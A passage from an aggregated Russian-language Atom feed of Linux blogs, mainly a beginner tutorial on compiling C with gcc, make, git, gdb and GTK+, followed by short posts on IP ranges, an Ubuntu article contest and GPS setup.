<tt>#include &lt;stdio.h&gt;&lt;/stdio.h&gt;</tt>. Встретив такую директиву, препроцессор вставляет содержимое указанного файла (в данном случае, <tt>stdio.h</tt>) на место этой директивы. Препроцессор понимает ещё некоторые директивы, но сейчас на них останавливаться я не буду.</p></div> <div class="paragraph"><p>После препроцессора выполняется собственно  компиляция. Из исходных файлов на этом этапе получаются т.н. объектные  файлы. Это файлы, содержащие исполняемый машинный код, но ещё не готовые  для запуска. Главное, чего в них недостаёт — это адреса вызываемых  библиотечных функций. Например, код функции <tt>printf()</tt> содержится в библиотеке <tt>libc</tt>.  А в объектном файле содержится только имя этой функции. Кроме того,  объектный файл содержит имена всех объявленных в нём функций.</p></div> <div class="paragraph"><p>Объектные файлы, а также используемые библиотеки подаются на вход компоновщику (программа <tt>ld</tt>).  Компоновщик ищет все вызываемые из различных объектных файлов функции  (по именам) в объектных файлах и в библиотеках. Если все функции  найдены, то компоновщик собирает собственно исполняемый файл. При этом  имена вызываемых функций заменяются на конкретные адреса памяти. В  случае использования динамической библиотеки имя используемой функции  остаётся, и к нему добавляется имя файла динамической библиотеки, в  которой при запуске программы нужно будет искать эту функцию.</p></div> <div class="paragraph"><p>Собственно программа <tt>gcc</tt> представляет  собой так называемый драйвер (driver). Она запускает упомянутые выше  программы (или только некоторые из них, в зависимости от опций), чтобы  получить исполняемый файл.</p></div> </div> </div> <div class="sect1"> <h2 id="_второй_пример_решение_квадратных_уравнений">Второй пример: решение квадратных уравнений</h2> <div class="sectionbody"> <div class="paragraph"><p>В качестве несколько более сложного примера  рассмотрим программу, которая должна решать квадратные уравнения.  Пользователь вводит коэффициенты квадратного трёхчлена, а программа  выдаёт его действительные корни. Вот полный текст такой программы:</p></div> <div class="listingblock"> <div class="content"> <pre><tt><tt><span style="font-weight: bold;"><span style="color: #000080;">#include &lt;stdio.h&gt;&lt;stdio.h&gt;<br />#include &lt;math.h&gt;&lt;math.h&gt;<br /><br />/* solve: calculate roots of square equation.<br />* a, b, c are coefficients in equation.<br />* Roots would be stored at x1, x2.<br />* Return value: count of real roots.<br />*/<br />int solve(double a, double b, double c,<br />        double* x1, double* x2) {<br />double D = b*b - 4*a*c;<br />double sqrtD;<br /><br />if (D &gt; 0) {<br />  sqrtD = sqrt(D);<br />  *x1 = (-b - sqrtD)/(2.0 * a);<br />  *x2 = (-b + sqrtD)/(2.0 * a);<br />  return 2;<br />} else if (D &lt; 0)<br />  return 0;<br />  else {<br />    *x1 = -b/(2.0*a);<br />    return 1;<br />  }<br />}<br /><br />int main (int argc, char* argv[]) {<br />double a,b,c;<br />double x1, x2;<br />int roots_count;<br /><br />// Input coefficients<br />printf("A: ");<br />scanf("%lf", &amp;a);<br />printf("B: ");<br />scanf("%lf", &amp;b);<br />printf("C: ");<br />scanf("%lf", &amp;c);<br /><br />// Solve the equation<br />roots_count = solve(a,b,c, &amp;x1, &amp;x2);<br /><br />// Output results<br />switch (roots_count) {<br />  case 0:<br />    printf("No (real) roots.\n");<br />    break;<br />  case 1:<br />    printf("One root: %0.4lf\n", x1);<br />    break;<br />  case 2:<br />    printf("Two roots: %0.4lf and %0.4lf\n",<br />           x1, x2);<br />    break;<br />}<br /><br />return 0;<br />}<br /><br />&lt;/math.h&gt;&lt;/stdio.h&gt;</span></span></tt></tt></pre></div></div> <div class="paragraph"><p>По аналогии с предыдущим примером, запишем этот текст в файл <tt>square.c</tt> и попытаемся скомпилировать его командой</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -o square square.c</tt></pre> </div></div> <div class="paragraph"><p>Но на этот раз мы получим ошибку примерно такого вида:</p></div> <div class="literalblock"> <div class="content"> <pre><tt>/tmp/cc6RNFIi.o: In function `solve': square.c:(.text+0x6d): undefined reference to `sqrt' collect2: ld returned 1 exit status</tt></pre> </div></div> <div class="paragraph"><p>В чём здесь дело? Ясно, что компилятору почему-то не понравился вызов функции <tt>sqrt()</tt>. Причём, он жалуется уже не на файл исходного кода, а на объектный файл (вот этот <tt>cc6RNFIi.o</tt>).  Это означает, что исходный файл благополучно скомпилировался, а  проблемы возникли на стадии компоновки (что можно видеть и по упоминанию  в тексте ошибки программы <tt>ld</tt> — это стандартный в GNU/Linux компоновщик). Компоновщик не смог найти функцию <tt>sqrt()</tt>. В данном случае, это произошло из-за того, что эта функция содержится в библиотеке <tt>libm</tt>,  а мы не просили компилятор использовать её. Чтобы избавиться от этой  ошибки, нам нужно изменить команду компиляции на следующую:</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -o square -lm square.c</tt></pre> </div></div> <div class="paragraph"><p>Такая команда должна отработать без ошибок и создать исполняемый файл <tt>square</tt>.</p></div> <div class="paragraph"><p>При сборке любой достаточно сложной программы  нам придётся использовать несколько библиотек, и, возможно, понадобится  указывать ещё какие-то опции компилятору. Команда может получиться  довольно длинная. Что же, каждый раз набирать её вручную? Нет. Один из  принципов философии UNIX гласит: «Всё, что может быть автоматизировано,  должно быть автоматизировано». Здесь нам пригодится одна из древнейших  UNIX-утилит — программа <tt>make</tt>. Чтобы воспользоваться ею, нужно написать файл с именем <tt>Makefile</tt> (в той же директории, что и наш исходный файл) со следующим содержимым:</p></div> <div class="literalblock"> <div class="content"> <pre><tt>square: square.c         $(CC) -o $@ -lm $&lt;</tt></pre> </div></div> <div class="paragraph"><p>Теперь собрать исполняемый файл можно просто дав команду <tt>make</tt>. Как это работает?</p></div> </div> </div> <div class="sect1"> <h2 id="_make">Make</h2> <div class="sectionbody"> <div class="paragraph"><p>Утилита <tt>make</tt> предназначена для сборки  программ (хотя может использоваться для автоматизации многих других  похожих задач). Она читает файл с именем <tt>Makefile</tt> и видит в нём  набор правил. Каждое правило определяет три вещи: цель (goal, т.е. то,  что нужно собрать), список исходных файлов и набор команд, которые нужно  выполнить, чтобы собрать цель из исходных файлов. В примере выше, <tt>square</tt> — это имя цели, <tt>square.c</tt>  — единственный в данном случае исходный файл (если их несколько, они  перечисляются через пробел), а вторая строчка — команда. В команде могут  использоваться переменные. Некоторые из переменных имеют специальное  значение. В частности, в любом правиле <tt>$@</tt> обозначает имя цели, а <tt>$&lt;</tt> — первый исходный файл. Переменная <tt>$(CC)</tt> указывает на компилятор C, используемый в системе по умолчанию (в большинстве случаев это <tt>gcc</tt>, но бывает и что-нибудь другое).</p></div> <div class="paragraph"><p>В имени цели и списке исходных файлов может использоваться подстановочный символ <tt>%</tt>. Например, такое правило:</p></div> <div class="literalblock"> <div class="content"> <pre><tt>%.o: %.c   $(CC) -c $&lt;</tt></pre> </div></div> <div class="paragraph"><p>обозначает, что файлы с именем, заканчивающимся на <tt>.o</tt>, нужно собирать из соответствующих файлов с суффиксом <tt>.c</tt>.</p></div> <div class="paragraph"><p>Кроме того, <tt>make</tt> заранее знает некоторое количество правил по умолчанию. Среди них есть упомянутое в последнем примере, а также правило</p></div> <div class="literalblock"> <div class="content"> <pre><tt>%: %.c   $(CC) -o $@ $&lt;</tt></pre> </div></div> <div class="paragraph"><p>Благодаря этому правилу, в примере с «Hello, world!» просто команда <tt>make hello</tt> запускала <tt>cc -o hello hello.c</tt>.</p></div> <div class="paragraph"><p>По набору правил <tt>make</tt> составляет граф  зависимостей целей друг от друга и от исходных файлов, и выполняет  только те команды, которые нужны для сборки цели, указанной в командной  строке. Если не указано никаких целей, то собирается первая цель,  описанная в <tt>Makefile</tt>.</p></div> <div class="paragraph"><p>Более подробную информацию об этой утилите см., например, в <tt>man make</tt>.</p></div> </div> </div> <div class="sect1"> <h2 id="_управление_версиями">Управление версиями</h2> <div class="sectionbody"> <div class="paragraph"><p>Для управления версиями исходного кода может  использоваться любая VCS. Однако, раз уж мы говорим о GNU/Linux,  рассмотрим вкратце систему, используемую для разработки ядра Linux: git.  По git существует довольно обширная документация, в т.ч. и на русском  языке. См. например, мою статью <a>[vcs_git]</a> или известную серию статей <a>[los-t_git]</a>.</p></div> <div class="paragraph"><p>Для начала использования git нужно создать репозиторий — хранилище для версий файлов. Это делается командой</p></div> <div class="literalblock"> <div class="content"> <pre><tt>git init</tt></pre> </div></div> <div class="paragraph"><p>Теперь можно добавлять файлы в репозиторий. Но  нам не нужно отслеживать версии некоторых файлов, а именно: объектных  файлов и исполняемых файлов. Чтобы сразу исключить их из рассмотрения  git, напишем файл <tt>.gitignore</tt> следующего содержания:</p></div> <div class="literalblock"> <div class="content"> <pre><tt>*.o square hello</tt></pre> </div></div> <div class="paragraph"><p>Теперь команда</p></div> <div class="literalblock"> <div class="content"> <pre><tt>git add .</tt></pre> </div></div> <div class="paragraph"><p>добавит в репозиторий все файлы в текущей директории, кроме упомянутых в файле <tt>.gitignore</tt>. После этого можно делать коммит командой</p></div> <div class="literalblock"> <div class="content"> <pre><tt>git commit</tt></pre> </div></div> <div class="paragraph"><p>По этой команде откроется текстовый редактор  по умолчанию. Тут нужно будет написать комментарий к коммиту. В данном  случае достаточно строчки типа «Initial commit».</p></div> </div> </div> <div class="sect1"> <h2 id="_отладка">Отладка</h2> <div class="sectionbody"> <div class="paragraph"><p>Для отладки в Linux используется отладчик <tt>gdb</tt>. Но сначала, для того, чтобы программу было удобно отлаживать, её нужно скомпилировать с опцией <tt>-g</tt>. Сейчас нам достаточно изменить <tt>Makefile</tt>, приведя его к виду</p></div> <div class="literalblock"> <div class="content"> <pre><tt>square: square.c         $(CC) -o $@ -lm -g $&lt;</tt></pre> </div></div> <div class="paragraph"><p>и пересобрать программу.</p></div> <div class="paragraph"><p>При обычной компиляции в исполняемый файл не попадают имена функций, переменных и т.п. Опция <tt>-g</tt>  указывает компилятору, что эту информацию нужно записать в  соответствующую секцию исполняемого файла. Кроме того, с этой опцией в  исполняемый файл записывается информация о соответствии смещений и  номеров строк в исходном файле.</p></div> <div class="paragraph"><p>Отладка запускается командой вида</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gdb ./square</tt></pre> </div></div> <div class="paragraph"><p>Если отлаживаемой программе нужно передать какие-то опции командной строки, их можно указать здесь же:</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gdb ./some-program -a -b</tt></pre> </div></div> <div class="paragraph"><p>При запуске отладчика появляется приглашение командной строки вида:</p></div> <div class="literalblock"> <div class="content"> <pre><tt>GNU gdb (GDB) 7.2-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later &lt;http: html="" licenses="" org=""&gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.  Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: &lt;http: bugs="" gdb="" org="" software=""&gt;... Reading symbols from /home/portnov/LUG/src/square...done. (gdb)&lt;/http:&gt;&lt;/http:&gt;</tt></pre> </div></div> <div class="paragraph"><p>Работа с отладчиком, в общих чертах,  напоминает работу с командной оболочкой. Вы вводите команды, отладчик их  исполняет. Как и в командной оболочке, работает автодополнение команд  по клавише Tab. Кроме того, для краткости можно сокращать команды до  первых нескольких букв — лишь бы избежать неоднозначности.</p></div> <div class="paragraph"><p>К наиболее часто используемым командам относятся:</p></div> <div class="dlist"><dl><dt class="hdlist1"> list  </dt><dd> <p> Напечатать очередной кусок исходника (печатается 10 строк). Можно указать конкретные номера строк после имени команды, например <tt>l 10,15</tt>. </p> </dd><dt class="hdlist1"> run  </dt><dd> <p> Запустить программу на выполнение под отладчиком. Программа будет выполняться до ближайшей точки останова, или до конца. </p> </dd><dt class="hdlist1"> break  </dt><dd> <p> Установить точку останова. Номер строки, на которой нужно установить точку останова, указывается после имени команды. </p> </dd><dt class="hdlist1"> next  </dt><dd> <p> Выполнить одну строку программы. </p> </dd><dt class="hdlist1"> print  </dt><dd> <p> Вычислить и напечатать выражение. Выражение указывается после команды.  Таким образом можно, например, однократно посмотреть значение  какой-нибудь переменной. </p> </dd><dt class="hdlist1"> display  </dt><dd> <p> Добавить выражение к списку постоянно отображаемых. Значения этих  выражений будут показываться после исполнения каждой команды. Рядом с  каждым выражением печатается его номер в списке. Удалить выражение из  списка можно командой <tt>undisplay</tt> с номером выражения. </p> </dd><dt class="hdlist1"> quit  </dt><dd> <p> Выход из отладчика. </p> </dd></dl></div> <div class="paragraph"><p>Более подробную информацию по GDB см. в <tt>man gdb</tt>.</p></div> </div> </div> <div class="sect1"> <h2 id="_оконная_система_x11">Оконная система X11</h2> <div class="sectionbody"> <div class="paragraph"><p>Исторически в UNIX не было и не могло быть  никакой графической среды, потому что не было графических дисплеев.  Графическая среда для UNIX появилась примерно тогда, когда появились  распространённые графические дисплеи: в 1984. Сначала она называлась W  (от Window), затем её усовершенствовали и назвали следующей буквой  алфавита — X, следующая версия называлась X2… Сейчас имеем X11.</p></div> <div class="paragraph"><p>X11 представляет собой, прежде всего, сетевой  протокол поверх TCP/IP и UDP/IP. У протокола есть клиент и есть сервер.  Клиент посылает последовательность запросов вида «нарисуй мне окошко»,  «нарисуй на нём кнопочку», а сервер их исполняет. Один из главных  принципов X11 — «определять механизмы, а не политики». Протокол  предоставляет возможность, скажем, рисовать окошки, а как именно они  будут отображаться — не определяет.</p></div> <div class="paragraph"><p>Наиболее распространённым X-сервером сейчас является Xorg (<a href="http://x.org/">http://x.org</a>);  всё ещё жив XFree86; под Windows актуален Xming; выпускаются аппаратные  X-серверы — комплекты «монитор + клавиатура + мышка», в которых  поддержка серверной функциональности X11 реализована аппаратно — такие  комплекты используются в качестве графических терминалов.</p></div> <div class="paragraph"><p>Протокол X11, в отличие от, скажем, HTTP,  является бинарным, а не текстовым — это сделано из соображений экономии  пропускной способности сетевого соединения и простоты разбора запросов  сервером. Но это усложняет создание клиентов этого протокола: собирать  замысловатые бинарные X11-запросы заведомо сложнее, чем, например,  текстовые HTTP-запросы. Поэтому для написания X-клиентов используются  специальные библиотеки функций, формирующих и отправляющих серверу  X-запросы. Наиболее распространена библиотека libX11. Более современным  вариантом является libxcb.</p></div> <div class="paragraph"><p>Запросы X11 весьма низкоуровневые. Например,  чтобы реализовать функциональность кнопки, нужно нарисовать в окне  прямоугольник, написать в нём текст, ждать в цикле нажатия кнопки мыши, и  при каждом нажатии проверять, где щёлкнули — внутри прямоугольника или  вне него. Поэтому стали появляться так называемые тулкиты — библиотеки,  являющиеся высокоуровневыми обёртками над libX11.</p></div> <div class="paragraph"><p>Исторически первым тулкитом был Athena3D.  Потом были Motif и Tk. Сейчас наиболее распространены GTK+ и Qt (Qt,  строго говоря, представляет собой не X11-тулкит, а многоцелевой  кроссплатформенный набор библиотек, который может использоваться в  качестве X11-тулкита).</p></div> </div> </div> <div class="sect1"> <h2 id="_hello_world_на_gtk">Hello, world на GTK+</h2> <div class="sectionbody"> <div class="paragraph"><p>В качестве примера рассмотрим следующую  программу. Она показывает окно с одной кнопкой. При нажатии на эту  кнопку появляется сообщение «Hello, world».</p></div> <div class="listingblock"> <div class="content"> <pre><tt><span style="font-weight: bold;"><span style="color: #000080;">#include &lt;gtk/gtk.h&gt;<br /><br />// This function displays message dialog.<br />// main_window parameter should be set to parent window of the dialog.<br />void message_box (GtkWindow* main_window, gchar *message) {<br />  GtkWidget *dialog, *label, *content_area;<br /> <br />  // Create a dialog<br />  dialog = gtk_dialog_new_with_buttons ("Message",<br />                                        main_window,<br />                                        GTK_DIALOG_DESTROY_WITH_PARENT,<br />                                        GTK_STOCK_OK,<br />                                        GTK_RESPONSE_NONE,<br />                                        NULL);<br />  // Create a label<br />  content_area = gtk_dialog_get_content_area (GTK_DIALOG (dialog));<br />  label = gtk_label_new (message);<br /> <br />  // On "response" signal (it's called when user clicks a button in<br />  // the dialog), destroy the dialog.<br />  g_signal_connect_swapped (dialog,<br />                            "response",<br />                            G_CALLBACK (gtk_widget_destroy),<br />                            dialog);<br /> <br />  // Add a label<br />  gtk_container_add (GTK_CONTAINER (content_area), label);<br />  // Show the dialog<br />  gtk_widget_show_all (dialog);<br />}<br /><br />// Callback for delete-event signal<br />static gboolean delete_event( GtkWidget *widget,<br />                             GdkEvent  *event,<br />                             gpointer   data )<br />{<br /> // If return TRUE, window will not be closed.<br /> // This may be used to preven closing window in some situations.<br />   return FALSE;<br />}<br /><br />// Callback for destroy signal<br />static void destroy( GtkWidget *widget,<br />                    gpointer   data )<br />{<br /> // End main GTK+ event loop<br />   gtk_main_quit ();<br />}<br /><br />// Callback for button click<br />static void hello ( GtkWidget *widget,<br />                   gpointer  data )<br />{<br /> // "data" parameter represents main window here<br /> message_box(GTK_WINDOW(data), "Hello, world!");<br />}<br /><br />int main( int   argc,<br />         char *argv[] )<br />{<br />   GtkWidget *window;<br />   GtkWidget *button;<br />  <br />   // Init GTK+<br />   gtk_init (&amp;argc, &amp;argv);<br />  <br />   // Create main window<br />   window = gtk_window_new (GTK_WINDOW_TOPLEVEL);<br />  <br />   // Set up callbacks for some signals<br />   g_signal_connect (window, "delete-event",<br />        G_CALLBACK (delete_event), NULL);<br />  <br />   g_signal_connect (window, "destroy",<br />        G_CALLBACK (destroy), NULL);<br />  <br />   // Set window borders width<br />   gtk_container_set_border_width (GTK_CONTAINER (window), 10);<br />  <br />   // Create labeled button<br />   button = gtk_button_new_with_label ("Hello World");<br />  <br />   // Set up callback for "clicked" signal of the button.<br />   // Pass main window as second parameter.<br />   g_signal_connect (button, "clicked", G_CALLBACK (hello), (gpointer)window);<br />  <br />   // Pack the button into window<br />   gtk_container_add (GTK_CONTAINER (window), button);<br />  <br />   // Show the button<br />   gtk_widget_show (button);<br />  <br />   // Show the window<br />   gtk_widget_show (window);<br />  <br />   // Run main GTK+ event loop.<br />   gtk_main ();<br />  <br />   return 0;<br />}<br /><br /></span></span></tt></pre></div></div> <div class="paragraph"><p>Собирается эта программа командой вида</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -o gtk-hello $(pkg-config --cflags gtk+-2.0) $(pkg-config --libs gtk+-2.0) gtk-hello.c</tt></pre> </div></div> <div class="paragraph"><p>GTK+ — довольно сложно устроенный набор  библиотек, поэтому, чтобы не указывать все нужные библиотеки и опции  компилятора вручную, мы используем здесь программу <tt>pkg-config</tt>, которая печатает опции компилятора, нужные для использования GTK+.</p></div> </div> </div> <div class="sect1"> <h2 id="_дополнительная_литература">Дополнительная литература</h2> <div class="sectionbody"> <div class="paragraph"><p>[raymond] Реймонд, Эрик С.  Искусство программирования для UNIX. — Пер. с англ. — М.: Издательский  дом «Вильямс», 2005. — 544с., ил.</p></div> <div class="paragraph"><p>[kernigan_pike] Керниган Б., Пайк Р. UNIX. Программное окружене. — Пер с англ. — СПб: Символ-Плюс, 2003. — 416с., ил.</p></div> <div class="paragraph"><p>[kernigan_richie] Керниган Б., Ритчи Д. Язык программирования C. — Пер. с англ. — Москва: Вильямс, 2006. — 304 с.</p></div> <div class="paragraph"><p>[vcs_git] Портнов И. Системы контроля версий. Git. URL: <a href="http://iportnov.blogspot.com/2008/06/git.html">http://iportnov.blogspot.com/2008/06/git.html</a></p></div> <div class="paragraph"><p>[los-t_git] Los-t. Git guts (серия статей в ЖЖ). URL: <a href="http://los-t.livejournal.com/tags/git+guts">http://los-t.livejournal.com/tags/git+guts</a></p><p><br /></p></div> </div> </div> </div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/3628051270185801752-2668654436667455339?l=iportnov.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/4UWCpdXexrM" height="1" width="1" /></div></content>
    <updated>2011-10-28T15:59:00Z</updated>
    <published>2011-10-28T15:59:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="programming" />
    <category scheme="http://www.blogger.com/atom/ns#" term="review" />
    <category scheme="http://www.blogger.com/atom/ns#" term="beginner" />
    <author>
      <name>Portnov</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/07229550690332111129</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-3628051270185801752</id>
      <category term="education" />
      <category term="books" />
      <category term="latex" />
      <category term="gtk2" />
      <category term="ion3" />
      <category term="blender" />
      <category term="kiosk" />
      <category term="new" />
      <category term="windows mustdie" />
      <category term="документация" />
      <category term="epub" />
      <category term="firefox" />
      <category term="typewriter" />
      <category term="todos" />
      <category term="vds" />
      <category term="git" />
      <category term="python" />
      <category term="презентации" />
      <category term="browser" />
      <category term="haskell" />
      <category term="debian" />
      <category term="keyboard" />
      <category term="gimp" />
      <category term="pam" />
      <category term="rtfm" />
      <category term="vim" />
      <category term="docbook" />
      <category term="livecd" />
      <category term="btrfs" />
      <category term="review" />
      <category term="workplace" />
      <category term="humor" />
      <category term="linux" />
      <category term="math" />
      <category term="krita" />
      <category term="mypaint" />
      <category term="gdm" />
      <category term="usb" />
      <category term="programming" />
      <category term="swish-e" />
      <category term="deployment" />
      <category term="faq" />
      <category term="lambda" />
      <category term="django" />
      <category term="xmonad" />
      <category term="sf" />
      <category term="beamer" />
      <category term="xorg" />
      <category term="lug" />
      <category term="free software" />
      <category term="photo" />
      <category term="glade" />
      <category term="cinepaint" />
      <category term="desktop" />
      <category term="konqueror" />
      <category term="kernel" />
      <category term="drupal" />
      <category term="xlock" />
      <category term="asciidoc" />
      <category term="framework" />
      <category term="suspend" />
      <category term="ubuntu" />
      <category term="cairo" />
      <category term="vcs" />
      <category term="beginner" />
      <category term="ide" />
      <author>
        <name>Portnov</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/07229550690332111129</uri>
      </author>
      <link href="http://iportnov.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/3628051270185801752/posts/default" rel="self" type="application/atom+xml" />
      <link href="http://iportnov.blogspot.com/" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/3628051270185801752/posts/default?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle>Блог продолжающего linux-оида.</subtitle>
      <title>Случайные заметки</title>
      <updated>2012-01-16T04:19:28Z</updated>
    </source>
  </entry>

  <entry xml:lang="ru">
    <id>http://dedicatesupport.com/72 at http://dedicatesupport.com</id>
    <link href="http://dedicatesupport.com/content/dobavlenie-diapazona-ip-adresov-dlya-setevogo-interfeisa-v-red-hat-centos-fedora" rel="alternate" type="text/html" />
    <title>Добавление диапазона IP адресов для сетевого интерфейса в Red Hat, CentOS,  Fedora.</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Иногда владельцам выделенных серверов необходимо добавить не один, два ip адреса к своему сетевому интерфейсу, а целую подсеть. Как это сделать? Не будешь же, к примеру, для добавления 18-ти ip адресов создавать 18 файлов вида ifcfg-eth0:X. К счастью, у нас есть соответствующий механизм.</p>
<p>Для добавления диапазона адресов 192.168.1.2 - 192.168.1.20 для сетевого интерфейса eth0 создаем файл:</p>
<pre>vi /etc/sysconfig/network-scripts/ifcfg-eth0-range0</pre><p>и в него добавляем следующие строки:</p>
 <p><a href="http://dedicatesupport.com/content/dobavlenie-diapazona-ip-adresov-dlya-setevogo-interfeisa-v-red-hat-centos-fedora" target="_blank">читать далее</a></p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/an_Q1mD4TcI" height="1" width="1" /></div></summary>
    <updated>2011-10-25T10:33:49Z</updated>
    <category scheme="http://dedicatesupport.com/category/wordpress-category/ip" term="IP" />
    <author>
      <name>admin</name>
    </author>
    <source>
      <id>http://dedicatesupport.com</id>
      <link href="http://dedicatesupport.com" rel="alternate" type="text/html" />
      <link href="http://dedicatesupport.com/feed/atom/" rel="self" type="application/rss+xml" />
      <title>Выделенный сервер своими руками</title>
      <updated>2012-02-09T14:00:52Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-6981243361715053957.post-7004787238480133233</id>
    <link href="http://surrender-zen-way.blogspot.com/feeds/7004787238480133233/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://surrender-zen-way.blogspot.com/2011/10/ubuntu.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/6981243361715053957/posts/default/7004787238480133233" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/6981243361715053957/posts/default/7004787238480133233" rel="self" type="application/atom+xml" />
    <link href="http://surrender-zen-way.blogspot.com/2011/10/ubuntu.html" rel="alternate" type="text/html" />
    <title>Много полезных русскоязычных статей о Ubuntu</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Завершился конкурс русскоязычных статей Ubuntu 2011. Тематика делилась на два основных раздела: руководство «как сделать …» и вольный «околотехнический» текст.<br />Тексты статей размещены <a href="http://konkurs.ubuntu.ru/articles.html">здесь</a>. Лично для себя нашел много интересных материалов.<div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6981243361715053957-7004787238480133233?l=surrender-zen-way.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/86_d4zNrOkQ" height="1" width="1" /></div></content>
    <updated>2011-10-17T19:35:00Z</updated>
    <published>2011-10-17T19:35:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" />
    <author>
      <name>Михаил Кулигин</name>
      <email>noreply@blogger.com</email>
      <uri>https://profiles.google.com/113773006825242654588</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-6981243361715053957</id>
      <category term="linux" />
      <category term="gnuplot" />
      <category term="demoscene" />
      <category term="текст" />
      <category term="LibreOffice" />
      <category term="игры" />
      <category term="VirtualBox" />
      <category term="дзен" />
      <category term="OpenOffice" />
      <category term="google-chrome" />
      <category term="спорт" />
      <category term="юмор" />
      <category term="mplayer" />
      <category term="веды" />
      <category term="скрипт" />
      <category term="консоль" />
      <category term="Firefox" />
      <category term="nokia" />
      <category term="Scribus" />
      <category term="эзотерика" />
      <category term="софт/сервисы" />
      <category term="книги" />
      <category term="антивирус" />
      <category term="gimp" />
      <category term="windows" />
      <category term="вирусы" />
      <category term="network" />
      <category term="Broadcom" />
      <category term="саморазвитие" />
      <category term="Ubuntu" />
      <category term="сеть" />
      <category term="turboprint" />
      <category term="настройка" />
      <category term="hardware" />
      <category term="unity" />
      <category term="screencast" />
      <category term="жизнь" />
      <author>
        <name>Михаил Кулигин</name>
        <email>noreply@blogger.com</email>
        <uri>https://profiles.google.com/113773006825242654588</uri>
      </author>
      <link href="http://surrender-zen-way.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/6981243361715053957/posts/default/-/linux" rel="self" type="application/atom+xml" />
      <link href="http://surrender-zen-way.blogspot.com/search/label/linux" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/6981243361715053957/posts/default/-/linux/-/linux?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle>...у вселенной не было начала и не будет конца...</subtitle>
      <title>Linux &amp; Life</title>
      <updated>2012-02-08T19:17:15Z</updated>
    </source>
  </entry>

  <entry xml:lang="ru">
    <id>http://rulinux.net.ru/480 at http://rulinux.net.ru</id>
    <link href="http://rulinux.net.ru/node/480" rel="alternate" type="text/html" />
    <link href="http://www.gpsdrive.de/debian/pool/squeeze/gpsdrive_2.12_amd64.deb" rel="enclosure" />
    <link href="http://rulinux.net.ru/files/linux/mbm-gpsd_git20111015-1_amd64.deb" length="43714" rel="enclosure" type="application/x-debian-package" />
    <title>GPS-навигация под Linux</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>В моем <a href="http://www.thinkwiki.org/wiki/Ericsson_F3507g_Mobile_Broadband_Module#Using_the_card_as_a_GPS_receiver">модеме</a> для ноутбука есть GPS-приемник. Вот решил настроить, раз уж модемом стал заниматься, и заодно посмотреть какие-нибудь GPS-программы под Linux.</p>
<p>Сначала нужно установить программу <a href="http://sourceforge.net/apps/mediawiki/mbm/index.php?title=Main_Page#GPS_Control_.28mbm-gpsd.29">mbm-gpsd</a>, которая общается с модемом, при обращении к /dev/gps0 включает GPS и возвращает NMEA-данные от GPS-приемника, а при отключении -- выключает GPS. Поставить mbm-gpsd можно из GIT по инструкции по ссылке или из моего пакета в конце поста, если у вас Debian Stable/AMD64. Проверить можно так:</p>
<pre>mbm-gpsd
cat /dev/gps0
</pre><p>
И через время посыпется такое:</p>
<pre>$GPGGA,,,,,,0,00,1.0,,M,,,,*04

$GPRMC,212235.34,V,,,,,,,151011,,,N*7A

$GPGSV,3,1,11,32,36,124,28,01,12,186,26,23,76,330,,20,62,141,*79

$GPGSV,3,2,11,13,54,278,,04,31,297,,16,22,116,,07,16,211,*7F
</pre><p>
Теперь нужно поставить программу gpsd, она преобразует NMEA-поток в удобный формат и раздает клиентским программам по TCP/IP, имеется в Debian:</p>
<pre>apt-get install gpsd gpsd-clients
gpsd -b -N /dev/gps0
</pre><p>
Теперь надо запустить "xgps", подойти к окну, подождать пока поймаются спутники и поглядеть на них:</p>
<p><img alt="XGPS" src="http://rulinux.net.ru/files/linux/xgps.png" /></p>
